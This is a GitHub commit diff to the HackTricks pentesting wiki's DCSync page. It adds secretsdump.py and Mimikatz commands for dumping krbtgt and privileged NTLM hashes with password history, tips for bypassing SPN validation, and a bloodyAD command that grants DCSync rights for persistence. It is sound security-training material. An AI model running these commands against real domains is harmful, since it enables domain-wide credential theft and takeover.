Skip to content

Commit b47c23e

Browse files
authored
Merge pull request #2122 from HackTricks-wiki/research_update_src_windows-hardening_active-directory-methodology_dcsync_20260412_131352
Research Update Enhanced src/windows-hardening/active-direct...
2 parents 78b68a0 + d956e7f commit b47c23e

1 file changed

Lines changed: 45 additions & 0 deletions

File tree

  • src/windows-hardening/active-directory-methodology

src/windows-hardening/active-directory-methodology/dcsync.md

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ The **DCSync** permission implies having these permissions over the domain itsel
1010

1111
- The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information** using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
1212
- By default only **Domain Admins, Enterprise Admins, Administrators, and Domain Controllers** groups have the required privileges.
13+
- In practice, **full DCSync** needs **`DS-Replication-Get-Changes` + `DS-Replication-Get-Changes-All`** on the domain naming context. `DS-Replication-Get-Changes-In-Filtered-Set` is commonly delegated together with them, but on its own it is more relevant for syncing **confidential / RODC-filtered attributes** (for example legacy LAPS-style secrets) than for a full krbtgt dump.
1314
- If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text
1415

1516
### Enumeration
@@ -20,6 +21,20 @@ Check who has these permissions using `powerview`:
2021
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
2122
```
2223

24+
If you want to focus on **non-default principals** with DCSync rights, filter out the built-in replication-capable groups and review only unexpected trustees:
25+
26+
```powershell
27+
$domainDN = "DC=dollarcorp,DC=moneycorp,DC=local"
28+
$default = "Domain Controllers|Enterprise Domain Controllers|Domain Admins|Enterprise Admins|Administrators"
29+
Get-ObjectAcl -DistinguishedName $domainDN -ResolveGUIDs |
30+
Where-Object {
31+
$_.ObjectType -match 'replication-get' -or
32+
$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl'
33+
} |
34+
Where-Object { $_.IdentityReference -notmatch $default } |
35+
Select-Object IdentityReference,ObjectType,ActiveDirectoryRights
36+
```
37+
2338
### Exploit Locally
2439

2540
```bash
@@ -31,10 +46,26 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
3146
```bash
3247
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
3348
[-just-dc-user <USERNAME>] #To get only of that user
49+
[-ldapfilter '(adminCount=1)'] #Or scope the dump to objects matching an LDAP filter
50+
[-just-dc-ntlm] #Only NTLM material, faster/cleaner when you don't need Kerberos keys
3451
[-pwd-last-set] #To see when each account's password was last changed
52+
[-user-status] #Show if the account is enabled/disabled while dumping
3553
[-history] #To dump password history, may be helpful for offline password cracking
3654
```
3755

56+
Practical scoped examples:
57+
58+
```bash
59+
# Only the krbtgt account
60+
secretsdump.py -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
61+
62+
# Only privileged objects selected through LDAP
63+
secretsdump.py -just-dc-ntlm -ldapfilter '(adminCount=1)' <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
64+
65+
# Add metadata and password history for cracking/reuse analysis
66+
secretsdump.py -just-dc-ntlm -history -pwd-last-set -user-status <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
67+
```
68+
3869
### DCSync using a captured DC machine TGT (ccache)
3970

4071
In unconstrained-delegation export-mode scenarios, you may capture a Domain Controller machine TGT (e.g., `DC1$@DOMAIN` for `krbtgt@DOMAIN`). You can then use that ccache to authenticate as the DC and perform DCSync without a password.
@@ -53,6 +84,12 @@ KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
5384
secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>
5485
```
5586

87+
Operational notes:
88+
89+
- **Impacket's Kerberos path touches SMB first** before the DRSUAPI call. If the environment enforces **SPN target name validation**, a full dump may fail with `Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user`.
90+
- In that case, either request a **`cifs/<dc>`** service ticket for the target DC first or fall back to **`-just-dc-user`** for the account you need immediately.
91+
- When you only have lower replication rights, LDAP/DirSync-style syncing can still expose **confidential** or **RODC-filtered** attributes (for example legacy `ms-Mcs-AdmPwd`) without a full krbtgt replication.
92+
5693
`-just-dc` generates 3 files:
5794

5895
- one with the **NTLM hashes**
@@ -71,6 +108,12 @@ If you are a domain admin, you can grant this permissions to any user with the h
71108
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
72109
```
73110

111+
Linux operators can do the same with `bloodyAD`:
112+
113+
```bash
114+
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' add dcsync <TRUSTEE>
115+
```
116+
74117
Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):
75118

76119
```bash
@@ -86,6 +129,8 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
86129

87130
## References
88131

132+
- [https://github.com/fortra/impacket/blob/master/ChangeLog.md](https://github.com/fortra/impacket/blob/master/ChangeLog.md)
133+
- [https://simondotsh.com/infosec/2022/07/11/dirsync.html](https://simondotsh.com/infosec/2022/07/11/dirsync.html)
89134
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
90135
- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)
91136
- HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html

0 commit comments

Comments
 (0)